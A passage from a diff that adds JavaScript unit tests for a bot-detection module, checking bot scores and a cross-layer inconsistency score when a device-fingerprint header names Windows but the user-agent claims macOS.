+        expect(vectorBot.botScore).toBe(100);
+        expect(vectorCdp.botScore).toBe(100);
+    });
+
+    it('should calculate a high crossLayerInconsistencyScore when OS mismatch is detected', () => {
+        const context = {
+            headers: {
+                'x-device-fingerprint': `os:${cyrb53("Windows")}`,
+                'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15'
+            }
+        };
+
+        const { crossLayerInconsistencyScore } = __internal.getCrossLayerInconsistency(context);
+        expect(crossLayerInconsistencyScore).toBe(50);
+    });
+});